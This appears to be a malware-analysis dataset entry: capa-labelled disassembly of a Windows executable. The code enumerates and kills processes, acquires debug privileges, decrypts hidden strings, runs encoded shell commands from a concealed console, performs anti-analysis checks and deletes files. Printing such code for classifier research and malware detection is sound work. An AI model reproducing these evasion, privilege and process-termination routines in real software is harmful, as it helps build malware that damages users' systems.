joyce8/EMBER2024-capa huggingface dataset:
Function at 0x587f90
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push esi
push 0
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x587fb1
xor eax, eax
pop esi
add esp, 0x224
ret
push edi
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x224
xor edi, edi
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x58800b
jmp 0x587fd0
lea ecx, [esp + 0x28]
push str..exe
push ecx
call fcn.005896e0
add esp, 8
test eax, eax
jne 0x588007
lea edx, [esp + 8]
push edx
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x587fd0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x224
ret
mov edi, dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x224
ret

Function at 0x589ec0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5d80c8
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
jb 0x589f93
push ebx
push ebp
xor ebp, ebp
push edi
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
lea ebx, [eax + 1]
mov dword [esp + 0x24], ebp
mov eax, SysReAllocString
test ebx, ebx
js 0x589f0e
shr eax, 1
test ebx, eax
je 0x589f08
add eax, eax
push eax
lea ecx, [esp + 0x14]
call fcn.00589da0
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov edi, dword [esp + 0x10]
push eax
push ecx
push edi
call fcn.00589d60
mov eax, dword [esi + 4]
lea edx, [eax + eax*2]
lea eax, [edi + edx*8]
add esp, 0xc
cmp eax, ebp
je 0x589f5b
mov ecx, dword [esp + 0x2c]
movq xmm0, qword [ecx]
movq qword [eax], xmm0
movq xmm0, qword [ecx + 8]
movq qword [eax + 8], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [eax + 0x10], xmm0
mov eax, dword [esi]
mov ecx, dword [esp + 0x18]
push 1
mov dword [esi], edi
push 1
mov dword [esi + 4], ebx
push eax
mov dword [esi + 8], ecx
mov dword [esp + 0x30], 0xffffffff
call fcn.00570770
add esp, 0xc
pop edi
pop ebp
pop ebx
pop esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret 4
mov ecx, dword [esi]
lea edx, [eax + eax*2]
lea ecx, [ecx + edx*8]
inc eax
mov dword [esi + 4], eax
test ecx, ecx
je 0x589fc3
mov eax, dword [esp + 0x20]
movq xmm0, qword [eax]
movq qword [ecx], xmm0
movq xmm0, qword [eax + 8]
movq qword [ecx + 8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
mov ecx, dword [esp + 0x10]
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x58f180
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edx, dword [esp + 4]
test edx, edx
je 0x58f1b4
mov cl, byte [edx]
test cl, cl
je 0x58f1b4
mov eax, 0x811c9dc5
movsx ecx, cl
or ecx, 0x20
xor ecx, eax
imul ecx, ecx, 0x1000193
inc edx
mov eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x58f193
xor eax, 0x2a
imul eax, eax, 0x1000193
ret
xor eax, eax
ret
Function at 0x5947a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x12c]
push eax
push esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x59484d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x594810
test dl, dl
je 0x59480c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x594810
add eax, 2
add ecx, 2
test dl, dl
jne 0x5947f0
xor eax, eax
jmp 0x594815
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x594837
mov ecx, dword [ebp - 0x124]
push ecx
push eax
push 1
call edi
mov esi, eax
test esi, esi
je 0x594837
push 9
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 4]
lea edx, [ebp - 0x12c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x5947e1
pop edi
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x595080
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 7
xor edx, edx
mov al, byte [edi + edx + 0x35f421c1]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x5950af
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x595092
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x595460
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0xce
xor edx, edx
mov al, byte [edi + edx + 0xfdc9e0d]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x59548f
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x595472
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x595530
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0x55
xor edx, edx
mov al, byte [edi + edx - 0x2bcc3926]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x59555f
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x595542
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x595890
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0x6e
xor edx, edx
mov al, byte [edi + edx - 0x2e8ea925]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x5958bf
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x5958a2
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x598aa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0x88
xor edx, edx
mov al, byte [edi + edx - 0x67a8a5c3]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x598acf
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x598ab2
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x599200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0x22
xor edx, edx
mov al, byte [edi + edx + 0x7d2f8a78]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x59922f
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x599212
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x5992f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0x11
xor edx, edx
mov al, byte [edi + edx - 0x478f5913]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x59931f
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x599302
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x599390
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0xa1
xor edx, edx
mov al, byte [edi + edx - 0x7f9cbb61]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x5993bf
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x5993a2
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x599480
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0xa7
xor edx, edx
mov al, byte [edi + edx - 0x254022c5]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x5994af
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x599492
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x599520
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0xfb
xor edx, edx
mov al, byte [edi + edx - 0x70fa3683]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x59954f
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x599532
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x599ca0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0x15
xor edx, edx
mov al, byte [edi + edx + 0x4815b902]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x599ccf
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x599cb2
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x59a340
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 0x52
xor edx, edx
mov al, byte [edi + edx - 0xa68717d]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x59a36f
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x59a352
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x59b510
Capabilities:
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call edi
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x20
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0x41370fbc
lea ecx, [ebp - 0x21]
call fcn.00594d90
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
push 0
push 0
push 0
lea ecx, [ebp - 0x34]
push ecx
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 8]
push 0
push edx
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x59b590
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push esi
call edi
push 0xa7be26b
lea ecx, [ebp - 0x1e]
mov byte [ebp - 3], 0x72
mov byte [ebp - 2], 0x62
mov byte [ebp - 1], 0
call fcn.00594de0
lea ecx, [ebp - 3]
push ecx
push eax
call sub.MSVCR90.dll_fopen
mov esi, eax
xor eax, eax
push 2
push eax
push esi
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], ax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call sub.MSVCR90.dll_fseek
push esi
call sub.MSVCR90.dll_ftell
push 0
push 0
push esi
mov edi, eax
call sub.MSVCR90.dll_fseek
push edi
call fcn.005707f0
push esi
push edi
mov ebx, eax
push 1
push ebx
call sub.MSVCR90.dll_fread
push esi
call sub.MSVCR90.dll_fclose
call fcn.005ab490
push edi
push ebx
call fcn.005ab4d0
add esp, 0x44
pop edi
mov edx, 0x5ed9
pop esi
pop ebx
cmp ax, dx
je 0x59b640
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x59b6f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push 0
call sub.MSVCR90.dll__time64
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 4], edx
call sub.MSVCR90.dll__localtime64
mov esi, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
lea esp, [esp]
push 0
call sub.MSVCR90.dll__time64
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
call sub.MSVCR90.dll__localtime64
mov eax, dword [eax]
mov edx, eax
sub edx, esi
add esp, 8
cmp edx, 1
ja 0x59b746
mov esi, eax
cmp esi, 0x3b
jb 0x59b756
push 0x1f4
xor esi, esi
call edi
jmp 0x59b720
cmp esi, 0x3a
jae 0x59b763
test esi, esi
je 0x59b763
cmp esi, eax
jb 0x59b76c
push 0x1f4
call edi
jmp 0x59b720
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x59d6a0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 4]
push eax
push 0x28
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x59d71f
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 4]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x59d71f
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x59eb80
Capabilities:
Execute command
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov eax, str.XssmpLDuJJAIPkEKX_
sub eax, 0x7d799029
push eax
lea ecx, [ebp - 0x13]
call fcn.0059ae40
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
xor ecx, ecx
push ecx
push eax
mov dword [ebp - 0x13], ecx
mov dword [ebp - 0xf], ecx
mov dword [ebp - 0xb], ecx
mov dword [ebp - 7], ecx
mov word [ebp - 3], cx
mov byte [ebp - 1], cl
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3fa66e5a
lea ecx, [ebp - 0x8d]
call fcn.0059ae90
push eax
call sub.MSVCR90.dll_system
add esp, 4
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x66add8
sub ecx, 0x2dd13ad7
push ecx
lea ecx, [ebp - 0x53]
call fcn.0059aee0
push eax
call sub.MSVCR90.dll_system
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x59ec90
Capabilities:
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d85c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push 0
mov eax, dword [0x7a217c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x59ed25
push 0
mov ecx, dword [0x7a217c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x59ed25
push 0
mov edx, dword [0x7a2174]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x59ed25
push 0
mov eax, dword [0x7a2174]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x59ed25
push 0
mov ecx, dword [0x7a1844]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x59ed25
push 0
mov edx, dword [0x7a1844]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x59eeeb
mov dword [ebp - 0x17c], 0x11c
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0
xor eax, eax
mov word [ebp - 0x168], ax
push 0xfe
push 0
lea ecx, [ebp - 0x166]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x68], dx
xor eax, eax
mov word [ebp - 0x66], ax
xor ecx, ecx
mov dword [ebp - 0x64], ecx
push 3
push 0x20
push 3
push 1
push 3
push 2
push 0
push 0
call dword [sym.imp.ntdll.dll_VerSetConditionMask]
push edx
push eax
call dword [sym.imp.ntdll.dll_VerSetConditionMask]
push edx
push eax
call dword [sym.imp.ntdll.dll_VerSetConditionMask]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov edx, 6
movzx eax, dx
mov dword [ebp - 0x178], eax
mov ecx, 2
movzx edx, cx
mov dword [ebp - 0x174], edx
xor eax, eax
mov word [ebp - 0x68], ax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x60]
push edx
push 0x23
lea eax, [ebp - 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
neg eax
sbb eax, eax
neg eax
movzx ecx, al
test ecx, ecx
je 0x59ee48
mov edx, 0xb07e38f2
push edx
lea ecx, [ebp - 0x1b]
call fcn.00594cf0
mov dword [ebp - 0x190], eax
push 0x179ce2eb
lea ecx, [ebp - 0x3a]
call fcn.0059b420
mov dword [ebp - 0x194], eax
push 0x10
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x194]
push ecx
call fcn.00594740
add esp, 0xc
lea ecx, [ebp - 0x3a]
call fcn.00594be0
lea ecx, [ebp - 0x1b]
call fcn.005adb80
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x7a217c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [0x7a2174]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [0x7a1844]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x7a15cc]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x59fb90
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d85d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x51c
push ebx
push esi
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x124]
xor ebx, ebx
mov dword [ebp - 0x10], ebx
push ecx
mov dword [ebp - 0x10], 0x101
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0xa104d36
lea ecx, [ebp - 0x1f]
call fcn.00597da0
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x124]
push ecx
push eax
lea edx, [ebp - 0x528]
push 0x2000
push edx
mov dword [ebp - 4], ebx
call fcn.005c6ac0
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x528]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
add esp, 0x14
mov dword [ebp - 4], 0xffffffff
mov byte [esi + 4], bl
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x59fc20
sub eax, edx
push eax
lea eax, [ebp - 0x528]
push eax
mov ecx, esi
call fcn.00406de0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x59fc60
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d85f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x78
call fcn.0059d6a0
push 0x6ed6f9ca
lea ecx, [ebp - 0x29]
call fcn.0059b140
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
call sub.MSVCR90.dll_remove
add esp, 4
lea ecx, [ebp - 0x29]
call fcn.00594a60
push 0
push 0
push 0x59eb10
push 0x59ec10
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0x2d0ea9d0
lea ecx, [ebp - 0x3d]
call fcn.0059adf0
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
push ecx
call fcn.005947a0
add esp, 4
lea ecx, [ebp - 0x3d]
call fcn.00594ad0
mov ecx, dword [0x7a2b74]
call fcn.005ac480
test eax, eax
jne 0x59fd45
mov edx, 0xee1908af
push edx
lea ecx, [ebp - 0x66]
call fcn.0059b190
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x84], eax
mov dword [ebp - 4], 0
mov ecx, dword [0x7a29f4]
call fcn.005945a0
push eax
push 0
mov ecx, dword [ebp - 0x84]
push ecx
push 0
push 0
mov ecx, dword [0x7a2d34]
call fcn.005aabb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x66]
call fcn.00594b90
call fcn.00594860
call fcn.0059b650
mov byte [ebp - 0xd], 0
mov ecx, 0x66a1a4
call fcn.0059b1e0
mov dword [ebp - 0x18], eax
mov ecx, dword [0x7a2cc4]
call fcn.005a9e90
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x59fd8c
mov edx, dword [ebp - 0x14]
push edx
push 0
push 0x40
mov eax, dword [0x7a29f0]
mov ecx, dword [eax + 0x178]
call ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x59fd9d
mov dword [ebp - 0x18], 0xfffffffe
mov byte [ebp - 0xd], 1
mov edx, dword [ebp - 0x18]
push edx
mov ecx, dword [0x7a2b74]
call fcn.005ac0c0
movzx eax, byte [ebp - 0xd]
test eax, eax
jne 0x59fdc6
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x7a29f0]
mov eax, dword [edx + 0xbc]
call eax
mov ecx, dword [0x7a2cc4]
call fcn.005ab510
mov ecx, dword [0x7a2cc4]
call fcn.005ab540
push 0
push 0
push 0x59eb10
push 0x59ec30
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
push 0
push 0x59eb10
push 0x59ec40
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
push 0
push 0x59eb10
push 0x59ec50
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x7a217c], eax
push 0
push 0
push 0x59eb10
push 0x59fc50
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x7a2174], eax
push 0
push 0
push 0x59eb10
push 0x59ec20
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x7a1844], eax
push 0
push 0
push 0x59eb10
push 0x410830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0x59eb10
push 0x5a9220
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x59ffa0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d8701
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x244
mov dword [ebp - 0x1d8], ecx
pushf
push 0xa
Function at 0x5a0a70
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x2c], ecx
mov byte [0x7a6cc8], 1
mov dword [ebp - 4], 0
push dword [ebp + 4]
pop dword [ebp - 4]
push 4
call fcn.005707f0
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x5a0aad
mov ecx, dword [ebp - 0x10]
call fcn.00594900
mov dword [ebp - 0x30], eax
jmp 0x5a0ab4
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0x7a2168], ecx
mov ecx, dword [0x7a2168]
call fcn.0059ffa0
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov edx, 0x82ed1e6b
push edx
lea ecx, [ebp - 0x23]
call fcn.0059ae40
mov dword [ebp - 0x34], eax
push 0
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x23]
call fcn.00594940
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0x59eb10
push 0x59ef30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
mov ecx, dword [0x7a2a44]
call fcn.005a89b0
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [0x7a2168]
call fcn.0059feb0
push 1
mov ecx, dword [0x7a2a44]
call fcn.005a89b0
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x5a2c20
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d8d09
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28c
jl 0x5a2c43
jmp 0x5a2c45
je 0x5a2c40
xor eax, eax
test eax, eax
je 0x5a2c4e
jne 0x5a2c4d
call 0x835e1cd5
rol byte [ebx + eax*4], 0xf0
add eax, 0xe70273f8
and dword [ebx + eax + 0x75], esi
add dword [ecx], esp
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x5a2c5c
out 0x21, eax
je 0x5a2c61
jne 0x5a2c61
and dword [esi - 0x64], esp
pushf
push 0xa
Function at 0x5a31b0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
jl 0x5a31bb
jmp 0x5a31bd
je 0x5a31b8
xor eax, eax
test eax, eax
je 0x5a31c6
jne 0x5a31c5
call 0x835e224d
rol byte [ebx + eax*4], 0xf0
add eax, 0x570273f8
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x5a31d4
push edi
pop eax
je 0x5a31d9
jne 0x5a31d9
pop eax
pushf
push 0xa